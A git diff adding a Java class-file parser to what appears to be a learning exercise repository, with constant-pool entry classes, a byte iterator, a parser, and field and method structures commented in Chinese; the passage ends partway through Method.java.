diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/clz/ClassIndex.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/clz/ClassIndex.java
new file mode 100644
index 0000000000..7750d4439d
--- /dev/null
+++ b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/clz/ClassIndex.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.clz;
+
+public class ClassIndex {
+	private int thisClassIndex;
+	private int superClassIndex;
+	
+	public int getThisClassIndex() {
+		return thisClassIndex;
+	}
+	public void setThisClassIndex(int thisClassIndex) {
+		this.thisClassIndex = thisClassIndex;
+	}
+	public int getSuperClassIndex() {
+		return superClassIndex;
+	}
+	public void setSuperClassIndex(int superClassIndex) {
+		this.superClassIndex = superClassIndex;
+	}
+}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/ClassInfo.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/ClassInfo.java
new file mode 100644
index 0000000000..8758755887
--- /dev/null
+++ b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/ClassInfo.java
@@ -0,0 +1,39 @@
+package com.coderising.jvm.constant;
+
+public class ClassInfo extends ConstantInfo {
+	private int type = CLASS_INFO;// u1 tag
+	private int utf8Index;// u2 name_index
+
+	public ClassInfo(ConstantPool c) {
+		super(c);
+	}
+
+	@Override
+	public int getType() {
+		return type;
+	}
+
+	@Override
+	public void print() {
+		System.out.println("u1 tag:" + getType() + " ClassInfo"
+				+ ",u2 name_index:" + getUtf8Index());
+	}
+
+	public String getClassName() {
+		int name_index = getUtf8Index();
+		UTF8Info utf8 = (UTF8Info) this.constantPool
+				.getConstantInfo(name_index);
+		return utf8.getValue();
+	}
+
+	/*
+	 * getter setter
+	 */
+	public int getUtf8Index() {
+		return utf8Index;
+	}
+
+	public void setUtf8Index(int name_index) {
+		this.utf8Index = name_index;
+	}
+}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/ConstantInfo.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/ConstantInfo.java
new file mode 100644
index 0000000000..a485aa25f9
--- /dev/null
+++ b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/ConstantInfo.java
@@ -0,0 +1,37 @@
+package com.coderising.jvm.constant;
+
+public abstract class ConstantInfo {
+	public static final int UTF8_INFO = 1;
+	public static final int INTEGER_INFO = 3;
+	public static final int FLOAT_INFO = 4;
+	public static final int LONG_INFO = 5;
+	public static final int DOUBLE_INFO = 6;
+	public static final int CLASS_INFO = 7;
+	public static final int STRING_INFO = 8;
+	public static final int FIELD_INFO = 9;
+	public static final int METHOD_INFO = 10;
+	public static final int NAME_AND_TYPE_INFO = 12;
+	
+	protected ConstantPool constantPool;
+	
+	public ConstantInfo() {}
+	
+	public ConstantInfo(ConstantPool cp){
+		this.constantPool = cp;
+	}
+	
+	public abstract int getType();
+	
+	public abstract void print();
+	
+	/*
+	 * getter setter
+	 */
+	public ConstantPool getConstantPool(){
+		return this.constantPool;
+	}
+	
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantPool.getConstantInfo(index);
+	}
+}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/ConstantPool.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/ConstantPool.java
new file mode 100644
index 0000000000..c1239d9220
--- /dev/null
+++ b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/ConstantPool.java
@@ -0,0 +1,38 @@
+package com.coderising.jvm.constant;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class ConstantPool {
+	private List<ConstantInfo> cl = new ArrayList<ConstantInfo>();
+
+	public void addConstantInfo(ConstantInfo e){
+		cl.add(e);
+	}
+
+	public ConstantInfo getConstantInfo(int index) {
+		return cl.get(index);
+	}
+
+	public int getSize() {
+		return cl.size() - 1;// 减去常量池的长度一项
+	}
+
+	public String getUTF8String(int nameIndex) {
+		return ((UTF8Info)getConstantInfo(nameIndex)).getValue();
+	}
+	
+	public String print(){
+		StringBuffer sb = new StringBuffer();
+		for (int i = 0; i < cl.size(); i++) {
+			ConstantInfo c = cl.get(i);
+			if(i<10){
+				System.out.print("0"+i+". ");
+			}else{
+				System.out.print(i+". ");
+			}
+			c.print();
+		}
+		return sb.toString();
+	}
+}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/DoubleInfo.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/DoubleInfo.java
new file mode 100644
index 0000000000..25a0628678
--- /dev/null
+++ b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/DoubleInfo.java
@@ -0,0 +1,14 @@
+package com.coderising.jvm.constant;
+
+public class DoubleInfo extends ConstantInfo {
+	private int type = DOUBLE_INFO;
+
+	@Override
+	public int getType() {
+		return type;
+	}
+	@Override
+	public void print() {
+		
+	}
+}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/FieldRefInfo.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/FieldRefInfo.java
new file mode 100644
index 0000000000..3170fa25d1
--- /dev/null
+++ b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/FieldRefInfo.java
@@ -0,0 +1,66 @@
+package com.coderising.jvm.constant;
+
+public class FieldRefInfo extends ConstantInfo {
+	private int type = FIELD_INFO;// u1 tag
+	private int class_index;// u2 class_index
+	private int name_and_type_index;// u2 name_and_type_index
+
+	public FieldRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	@Override
+	public int getType() {
+		return type;
+	}
+
+	@Override
+	public void print() {
+		System.out.println("u1 tag:" + getType() + " FieldInfo"
+				+ ",u2 class_index:" + getClass_index()
+				+ ",u2 name_and_type_index:" + getName_and_type_index());
+	}
+
+	@Override
+	public String toString() {
+		return getClassName() + ":" + getFieldName() + " : " + getFieldType();
+	}
+
+	public String getClassName() {
+		ClassInfo classInfo = (ClassInfo) this.constantPool
+				.getConstantInfo(class_index);
+		return classInfo.getClassName();
+	}
+
+	public String getFieldName() {
+		NameAndTypeInfo nameAndTypeInfo = (NameAndTypeInfo) this.constantPool
+				.getConstantInfo(name_and_type_index);
+		return nameAndTypeInfo.getName();
+	}
+
+	public String getFieldType() {
+		NameAndTypeInfo nameAndTypeInfo = (NameAndTypeInfo) this.constantPool
+				.getConstantInfo(name_and_type_index);
+		return nameAndTypeInfo.getTypeInfo();
+	}
+
+	/*
+	 * getter setter
+	 */
+	public int getClass_index() {
+		return class_index;
+	}
+
+	public void setClass_index(int class_index) {
+		this.class_index = class_index;
+	}
+
+	public int getName_and_type_index() {
+		return name_and_type_index;
+	}
+
+	public void setName_and_type_index(int name_and_type_index) {
+		this.name_and_type_index = name_and_type_index;
+	}
+
+}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/FloatInfo.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/FloatInfo.java
new file mode 100644
index 0000000000..c20ebee388
--- /dev/null
+++ b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/FloatInfo.java
@@ -0,0 +1,15 @@
+package com.coderising.jvm.constant;
+
+public class FloatInfo extends ConstantInfo {
+	private int type = FLOAT_INFO;
+
+	@Override
+	public int getType() {
+		return type;
+	}
+	@Override
+	public void print() {
+		// TODO Auto-generated method stub
+		
+	}
+}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/IntegerInfo.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/IntegerInfo.java
new file mode 100644
index 0000000000..35da3f20ef
--- /dev/null
+++ b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/IntegerInfo.java
@@ -0,0 +1,25 @@
+package com.coderising.jvm.constant;
+
+public class IntegerInfo extends ConstantInfo {
+	private int type = INTEGER_INFO;
+	private int Num;
+
+	@Override
+	public int getType() {
+		return type;
+	}
+	@Override
+	public void print() {
+		// TODO Auto-generated method stub
+		
+	}
+
+	public int getNum() {
+		return Num;
+	}
+
+	public void setNum(int num) {
+		Num = num;
+	}
+	
+}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/LongInfo.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/LongInfo.java
new file mode 100644
index 0000000000..61a19f320c
--- /dev/null
+++ b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/LongInfo.java
@@ -0,0 +1,15 @@
+package com.coderising.jvm.constant;
+
+public class LongInfo extends ConstantInfo {
+	private int type = LONG_INFO;
+
+	@Override
+	public int getType() {
+		return type;
+	}
+	@Override
+	public void print() {
+		// TODO Auto-generated method stub
+		
+	}
+}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/MethodRefInfo.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/MethodRefInfo.java
new file mode 100644
index 0000000000..ad59210e84
--- /dev/null
+++ b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/MethodRefInfo.java
@@ -0,0 +1,67 @@
+package com.coderising.jvm.constant;
+
+public class MethodRefInfo extends ConstantInfo {
+	private int type = METHOD_INFO;// u1 tag
+	private int classInfoIndex;// u2 class_index
+	private int nameAndTypeIndex;// u2 name_and_type_index
+
+	public MethodRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public String getClassName() {
+		ClassInfo c = (ClassInfo) this.constantPool
+				.getConstantInfo(classInfoIndex);
+		return c.getClassName();
+	}
+
+	public String getMethodName() {
+		NameAndTypeInfo nt = (NameAndTypeInfo) this.constantPool
+				.getConstantInfo(nameAndTypeIndex);
+		return nt.getName();
+	}
+
+	public String getParamsAndReturnType() {
+		NameAndTypeInfo nt = (NameAndTypeInfo) this.constantPool
+				.getConstantInfo(nameAndTypeIndex);
+		return nt.getTypeInfo();
+	}
+
+	@Override
+	public int getType() {
+		return type;
+	}
+
+	@Override
+	public void print() {
+		System.out.println("u1 tag:" + getType() + " MethodInfo"
+				+ ",u2 class_index:" + getClassInfoIndex()
+				+ ",u2 name_and_type_index" + getNameAndTypeIndex());
+	}
+
+	@Override
+	public String toString() {
+		return getClassName() + ":" + getMethodName() + ":"
+				+ getParamsAndReturnType();
+	}
+
+	/*
+	 * getter setter
+	 */
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+
+	public void setClassInfoIndex(int class_index) {
+		this.classInfoIndex = class_index;
+	}
+
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+
+	public void setNameAndTypeIndex(int name_and_type_index) {
+		this.nameAndTypeIndex = name_and_type_index;
+	}
+
+}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/NameAndTypeInfo.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/NameAndTypeInfo.java
new file mode 100644
index 0000000000..08e9b6a0f2
--- /dev/null
+++ b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/NameAndTypeInfo.java
@@ -0,0 +1,58 @@
+package com.coderising.jvm.constant;
+
+public class NameAndTypeInfo extends ConstantInfo {
+	private int type = NAME_AND_TYPE_INFO;// u1 tag
+	private int name_index;// u2 name_index
+	private int descriptor_index;// u2 descriptor_index
+
+	public NameAndTypeInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	@Override
+	public int getType() {
+		return type;
+	}
+
+	@Override
+	public void print() {
+		System.out.println("u1 tag:" + getType() + " NameAndTypeInfo"
+				+ ",u2 name_index:" + getName_index() + ",u2 descriptor_index:"
+				+ getDescriptor_index());
+	}
+
+	@Override
+	public String toString() {
+		return "(" + getName() + "," + getTypeInfo() + ")";
+	}
+
+	public String getName() {
+		UTF8Info u = (UTF8Info) this.constantPool.getConstantInfo(name_index);
+		return u.getValue();
+	}
+
+	public String getTypeInfo() {
+		UTF8Info u = (UTF8Info) this.constantPool
+				.getConstantInfo(descriptor_index);
+		return u.getValue();
+	}
+
+	/*
+	 * getter setter
+	 */
+	public int getName_index() {
+		return name_index;
+	}
+
+	public void setName_index(int name_index) {
+		this.name_index = name_index;
+	}
+
+	public int getDescriptor_index() {
+		return descriptor_index;
+	}
+
+	public void setDescriptor_index(int descriptor_index) {
+		this.descriptor_index = descriptor_index;
+	}
+}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/NullConstantInfo.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/NullConstantInfo.java
new file mode 100644
index 0000000000..2c67e88d37
--- /dev/null
+++ b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/NullConstantInfo.java
@@ -0,0 +1,14 @@
+package com.coderising.jvm.constant;
+
+public class NullConstantInfo extends ConstantInfo{
+
+	@Override
+	public int getType() {
+		return -1;
+	}
+	@Override
+	public void print() {
+		System.out.println("NullConstantInfo");
+	}
+
+}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/StringInfo.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/StringInfo.java
new file mode 100644
index 0000000000..4fac07f7cc
--- /dev/null
+++ b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/StringInfo.java
@@ -0,0 +1,43 @@
+package com.coderising.jvm.constant;
+
+public class StringInfo extends ConstantInfo {
+	private int type = STRING_INFO;// u1 tag
+	private int string_index;// u2 string_index
+
+	public StringInfo(ConstantPool cp) {
+		super(cp);
+	}
+
+	@Override
+	public int getType() {
+		return type;
+	}
+
+	@Override
+	public void print() {
+		System.out.println("u1 tag:" + getType() + " StringInfo"
+				+ ",u2 string_index:" + getString_index());
+	}
+
+	public String getString() {
+		UTF8Info u = (UTF8Info) this.constantPool.getConstantInfo(string_index);
+		return u.getValue();
+	}
+
+	@Override
+	public String toString() {
+		return getString();
+	}
+
+	/*
+	 * getter setter
+	 */
+	public int getString_index() {
+		return string_index;
+	}
+
+	public void setString_index(int string_index) {
+		this.string_index = string_index;
+	}
+
+}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/UTF8Info.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/UTF8Info.java
new file mode 100644
index 0000000000..ef5eef58a2
--- /dev/null
+++ b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/constant/UTF8Info.java
@@ -0,0 +1,47 @@
+package com.coderising.jvm.constant;
+
+public class UTF8Info extends ConstantInfo {
+	private int type = UTF8_INFO;// u1 tag
+	private int length;// u2 length
+	private String value;// n 个 u1
+
+	public UTF8Info(ConstantPool pool) {
+		super(pool);
+	}
+
+	@Override
+	public int getType() {
+		return type;
+	}
+
+	@Override
+	public void print() {
+		System.out.println("u1 tag:" + getType() + " UTF8Info" + ",u2 length:"
+				+ getLength() + ",u1 bytes[" + getLength() + "] " + getValue());
+	}
+
+	@Override
+	public String toString() {
+		return "UTF8Info [type=" + type + ",length=" + length + ",value="
+				+ value + "]";
+	}
+
+	/*
+	 * getter setter
+	 */
+	public String getValue() {
+		return value;
+	}
+
+	public void setValue(String value) {
+		this.value = value;
+	}
+
+	public int getLength() {
+		return length;
+	}
+
+	public void setLength(int length) {
+		this.length = length;
+	}
+}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/field/Field.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/field/Field.java
new file mode 100644
index 0000000000..fee1d06d95
--- /dev/null
+++ b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/field/Field.java
@@ -0,0 +1,115 @@
+package com.coderising.jvm.field;
+
+import java.util.List;
+
+import com.coderising.jvm.attr.AttributeInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class Field {
+	private int accessFlag;// u2 access_flags
+	private int nameIndex;// u2 name_index
+	private int descriptorIndex;// u2 descriptor_index
+	private int attrCount;//u2 attributes_count
+	private List<AttributeInfo> attributeInfos;//attribute_info attributes[attributes_count];
+	
+	private ConstantPool cp;
+
+	public Field(){}
+
+	public Field(int accessFlag, int nameIndex, int descriptorIndex,
+			int attrCount, ConstantPool cp) {
+		super();
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+		this.attrCount = attrCount;
+		this.cp = cp;
+	}
+
+	/**
+	 * 读取字段<br/>
+	 * field_info {<br/>
+	 * u2 access_flags,<br/>
+	 * u2 name_index,<br/>
+	 * u2 descriptor_index,<br/>
+	 * u2 attributes_count,<br/>
+	 * attribute_info attributes[attributes_count]<br/>
+	 * }
+	 * 
+	 * @param itr
+	 * @return Field
+	 */
+	public static Field parse(ConstantPool pool, ByteCodeIterator itr) {
+		int accessFlag = itr.nextU2toInt();
+		int nameIndex = itr.nextU2toInt();
+		int descriptorIndex = itr.nextU2toInt();
+		int attrCount = itr.nextU2toInt();
+		Field field = new Field(accessFlag, nameIndex, descriptorIndex, attrCount, pool);
+		for (int i = 0; i < attrCount; i++) {
+			field.addAttributeInfo(AttributeInfo.parse(pool, itr));
+		}
+		return field;
+	}
+	
+	public void addAttributeInfo(AttributeInfo a) {
+		this.attributeInfos.add(a);
+	}
+	@Override
+	public String toString() {
+		UTF8Info utf8Info1 = (UTF8Info)this.cp.getConstantInfo(this.nameIndex);
+		UTF8Info utf8Info2 = (UTF8Info)this.cp.getConstantInfo(this.descriptorIndex);
+		return utf8Info1.getValue()+":"+utf8Info2.getValue();
+	}
+
+	/*
+	 * getter setter
+	 */
+	public int getAccessFlag() {
+		return accessFlag;
+	}
+
+	public void setAccessFlag(int accessFlag) {
+		this.accessFlag = accessFlag;
+	}
+
+	public int getNameIndex() {
+		return nameIndex;
+	}
+
+	public void setNameIndex(int nameIndex) {
+		this.nameIndex = nameIndex;
+	}
+
+	public int getDescriptorIndex() {
+		return descriptorIndex;
+	}
+
+	public void setDescriptorIndex(int descriptorIndex) {
+		this.descriptorIndex = descriptorIndex;
+	}
+
+	public int getAttrCount() {
+		return attrCount;
+	}
+
+	public void setAttrCount(int attrCount) {
+		this.attrCount = attrCount;
+	}
+
+	public List<AttributeInfo> getAttributeInfos() {
+		return attributeInfos;
+	}
+
+	public void setAttributeInfos(List<AttributeInfo> attributeInfos) {
+		this.attributeInfos = attributeInfos;
+	}
+	public ConstantPool getCp() {
+		return cp;
+	}
+	public void setCp(ConstantPool cp) {
+		this.cp = cp;
+	}
+
+}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/loader/ByteCodeIterator.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/loader/ByteCodeIterator.java
new file mode 100644
index 0000000000..5cdf37fdaf
--- /dev/null
+++ b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/loader/ByteCodeIterator.java
@@ -0,0 +1,48 @@
+package com.coderising.jvm.loader;
+
+import com.coderising.jvm.util.Util;
+
+public class ByteCodeIterator {
+	private byte[] codes;
+	private int pos = 0;
+
+	public void back(int length) {
+		if (pos - length < 0) {
+			throw new RuntimeException("back length is too long:" + length
+					+ ",pos:" + pos);
+		}
+		pos -= length;
+	}
+
+	public ByteCodeIterator(byte[] codes) {
+		this.codes = codes;
+	}
+
+	public int nextU1toInt() {
+		return Util.byteToInt(new byte[] { codes[pos++] });
+	}
+
+	public int nextU2toInt() {
+		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++] });
+	}
+
+	public int nextU4toInt() {
+		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++],
+				codes[pos++], codes[pos++] });
+	}
+
+	public String nextUxtoHexString(int len) {
+		byte[] bytes = new byte[len];
+		for (int i = 0; i < len; i++) {
+			bytes[i] = codes[pos++];
+		}
+		return Util.byteToHexString(bytes);
+	}
+	public String nextUxtoAscii(int len){
+		byte[] bytes = new byte[len];
+		for (int i = 0; i < len; i++) {
+			bytes[i] = codes[pos++];
+		}
+		return Util.byteToAscii(bytes);
+	}
+}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/loader/ClassFileLoader.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/loader/ClassFileLoader.java
index fafac43407..0c02adef66 100644
--- a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/loader/ClassFileLoader.java
+++ b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/loader/ClassFileLoader.java
@@ -8,10 +8,29 @@
 import java.util.ArrayList;
 import java.util.List;
 
+import com.coderising.jvm.clz.ClassFile;
+
 public class ClassFileLoader {
 	private static final int BUFFERSIZE = 1024;
 	private List<String> clzPaths = new ArrayList<String>();
 
+	/**
+	 * 装载class文件
+	 * 读取二进制字节流，并解析成ClassFile对象
+	 * @param className
+	 * @return ClassFile
+	 */
+	public ClassFile loadClass(String className) {
+		byte[] codes = this.readBinaryCode(className);
+		ClassFileParser parser = new ClassFileParser();
+		return parser.parse(codes);
+	}
+	
+	/**
+	 * 从.class文件读取二进制字节流
+	 * @param className
+	 * @return
+	 */
 	public byte[] readBinaryCode(String className) {
 		if (clzPaths.size()<=0){
 			return null;
@@ -36,7 +55,7 @@ public byte[] readBinaryCode(String className) {
 	/**
 	 * 文件读取二进制字节流
 	 * @param f
-	 * @return
+	 * @return byte[]
 	 * @throws FileNotFoundException
 	 */
 	private byte[] readFile(File f) throws FileNotFoundException {
@@ -63,10 +82,18 @@ private byte[] readFile(File f) throws FileNotFoundException {
 		return baos.toByteArray();
 	}
 
+	/**
+	 * 增加类加载路径，加载时按增加时的先后顺序加载
+	 * @param path
+	 */
 	public void addClassPath(String path) {
 		clzPaths.add(path);
 	}
 
+	/**
+	 * 获取类加载路径
+	 * @return
+	 */
 	public String getClassPath() {
 		StringBuilder sb = new StringBuilder();
 		for (int i = 0; i < clzPaths.size(); i++) {
@@ -96,9 +123,4 @@ private String convertName(String className) {
 		return sb.toString();
 	}
 
-	public static void main(String[] args) {
-		String d = "com.taiji.array.Load";
-		ClassFileLoader cc = new ClassFileLoader();
-		System.out.print(cc.convertName(d));
-	}
 }
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/loader/ClassFileParser.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/loader/ClassFileParser.java
new file mode 100644
index 0000000000..b9887d3b30
--- /dev/null
+++ b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/loader/ClassFileParser.java
@@ -0,0 +1,195 @@
+package com.coderising.jvm.loader;
+
+import com.coderising.jvm.clz.AccessFlag;
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.NullConstantInfo;
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.method.Method;
+
+public class ClassFileParser {
+	/**
+	 * 读取ClassFile对象
+	 * 
+	 * @param codes
+	 * @return
+	 */
+	public ClassFile parse(byte[] codes) {
+		ClassFile cf = new ClassFile();
+		ByteCodeIterator itr = new ByteCodeIterator(codes);
+		String magicNumber = itr.nextUxtoHexString(4);// 1读取魔数
+		if (!magicNumber.equals("cafebabe")) {
+			throw new RuntimeException("magicNum not ok");
+		}
+		cf.setMinorVersion(itr.nextU2toInt());// 3读取次版本号
+		cf.setMajorVersion(itr.nextU2toInt());// 2读取主版本号
+
+		ConstantPool pool = parseConstantPool(itr);// 4、5读取常量池
+		pool.print();// 打印常量池
+		cf.setPool(pool);
+
+		cf.setAccessFlag(new AccessFlag(itr.nextU2toInt()));// 6读取访问标志
+
+		ClassIndex classIndex = parseClassIndex(itr);// 读取类引用7this和8super
+		cf.setClzIndex(classIndex);
+
+		int interfaceCount = itr.nextU2toInt();//读取接口信息
+		if (interfaceCount != 0) {
+			throw new RuntimeException(
+					"the interface isn't 0,parser has not been implemented yet.");
+		}
+
+		int FieldCount = itr.nextU2toInt();//读取字段信息
+		for (int i = 0; i < FieldCount; i++) {
+			Field f = Field.parse(pool, itr);
+			cf.addFields(f);
+		}
+
+		int MethodCount = itr.nextU2toInt();
+		for (int i = 0; i < MethodCount; i++) {//读取方法信息
+			Method m = Method.parse(pool, itr);
+			cf.addMethods(m);
+		}
+
+		return cf;
+	}
+
+	/**
+	 * 读取this super对象引用<br/>
+	 * classIndex_Info {<br/>
+	 * u2 this_class,<br/>
+	 * u2 super_class<br/>
+	 * }
+	 * 
+	 * @param itr
+	 * @return
+	 */
+	public ClassIndex parseClassIndex(ByteCodeIterator itr) {
+		ClassIndex classIndex = new ClassIndex();
+		classIndex.setThisClassIndex(itr.nextU2toInt());
+		classIndex.setSuperClassIndex(itr.nextU2toInt());
+		return classIndex;
+	}
+
+	/**
+	 * 读取常量池
+	 * 
+	 * @param itr
+	 * @return
+	 */
+	public ConstantPool parseConstantPool(ByteCodeIterator itr) {
+		int count = itr.nextU2toInt();
+		ConstantPool pool = new ConstantPool();
+		pool.addConstantInfo(new NullConstantInfo());// 占住常量池的第一个，常量池是的index从1开始
+
+		for (int i = 1; i < count; i++) {
+			int tag = itr.nextU1toInt();
+			switch (tag) {
+			case ConstantInfo.CLASS_INFO:
+				ClassInfo classInfo = new ClassInfo(pool);
+				classInfo.setUtf8Index(itr.nextU2toInt());
+				pool.addConstantInfo(classInfo);
+
+				/*
+				 * System.out.println(i + ". u1 tag:" +
+				 * classInfo.getType()+" ClassInfo" + ",u2 name_index:" +
+				 * classInfo.getUtf8Index());
+				 */
+				break;
+
+			case ConstantInfo.UTF8_INFO:
+				UTF8Info utf8Info = new UTF8Info(pool);
+				int length = itr.nextU2toInt();
+				String value = itr.nextUxtoAscii(length);
+				utf8Info.setLength(length);
+				utf8Info.setValue(value);
+				pool.addConstantInfo(utf8Info);
+
+				/*
+				 * System.out.println(i + ". u1 tag:" + utf8Info.getType() +
+				 * " UTF8Info" + ",u2 length:" + utf8Info.getLength() +
+				 * ",u1 bytes[" + utf8Info.getLength() + "] " +
+				 * utf8Info.getValue());
+				 */
+				break;
+
+			case ConstantInfo.STRING_INFO:
+				StringInfo si = new StringInfo(pool);
+				si.setString_index(itr.nextU2toInt());
+				pool.addConstantInfo(si);
+
+				/*
+				 * System.out.println(i + ". u1 tag:" +
+				 * si.getType()+" StringInfo" + ",u2 string_index:" +
+				 * si.getString_index());
+				 */
+				break;
+
+			case ConstantInfo.NAME_AND_TYPE_INFO:
+				NameAndTypeInfo nt = new NameAndTypeInfo(pool);
+				nt.setName_index(itr.nextU2toInt());
+				nt.setDescriptor_index(itr.nextU2toInt());
+				pool.addConstantInfo(nt);
+
+				/*
+				 * System.out.println(i + ". u1 tag:" + nt.getType()+
+				 * " NameAndTypeInfo" + ",u2 name_index:" + nt.getName_index() +
+				 * ",u2 descriptor_index:" + nt.getDescriptor_index());
+				 */
+				break;
+
+			case ConstantInfo.METHOD_INFO:
+				MethodRefInfo m = new MethodRefInfo(pool);
+				m.setClassInfoIndex(itr.nextU2toInt());
+				m.setNameAndTypeIndex(itr.nextU2toInt());
+				pool.addConstantInfo(m);
+
+				/*
+				 * System.out.println(i + ". u1 tag:" + m.getType()+
+				 * " MethodInfo" + ",u2 class_index:" + m.getClassInfoIndex() +
+				 * ",u2 name_and_type_index" + m.getNameAndTypeIndex());
+				 */
+				break;
+
+			case ConstantInfo.FIELD_INFO:
+				FieldRefInfo f = new FieldRefInfo(pool);
+				f.setClass_index(itr.nextU2toInt());
+				f.setName_and_type_index(itr.nextU2toInt());
+				pool.addConstantInfo(f);
+
+				/*
+				 * System.out.println(i + ". u1 tag:" + f.getType()+
+				 * " FieldInfo" + ",u2 class_index:" + f.getClass_index() +
+				 * ",u2 name_and_type_index:" + f.getName_and_type_index());
+				 */
+				break;
+
+			/*
+			 * case ConstantInfo.FLOAT_INFO:
+			 * 
+			 * break;
+			 * 
+			 * case ConstantInfo.INTEGER_INFO: break;
+			 * 
+			 * case ConstantInfo.DOUBLE_INFO: break;
+			 * 
+			 * case ConstantInfo.LONG_INFO: break;
+			 */
+
+			default:
+				throw new RuntimeException("the constant pool tag " + tag
+						+ " has not been implemented yet.");
+			}
+		}
+		return pool;
+	}
+
+}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/method/Method.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/method/Method.java
new file mode 100644
index 0000000000..867e6eed5e
--- /dev/null
+++ b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/method/Method.java
@@ -0,0 +1,126 @@
+package com.coderising.jvm.method;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.attr.AttributeInfo;
+import com.coderising.jvm.attr.CodeAttr;
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class Method {
+	private int accessFlag;// u2 access_flags
+	private int nameIndex;// u2 name_index
+	private int descriptorIndex;// u2 descriptor_index
+	private int attrCount;// u2 attributes_count
+	/*
+	 * attributes[attributes_count];
+	 */
+	private List<AttributeInfo> attributeInfos = new ArrayList<AttributeInfo>();
+
+	public Method() {}
+
+	public Method(int accessFlag, int nameIndex, int descriptorIndex,
+			int attrCount) {
+		super();
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+		this.attrCount = attrCount;
+	}
+
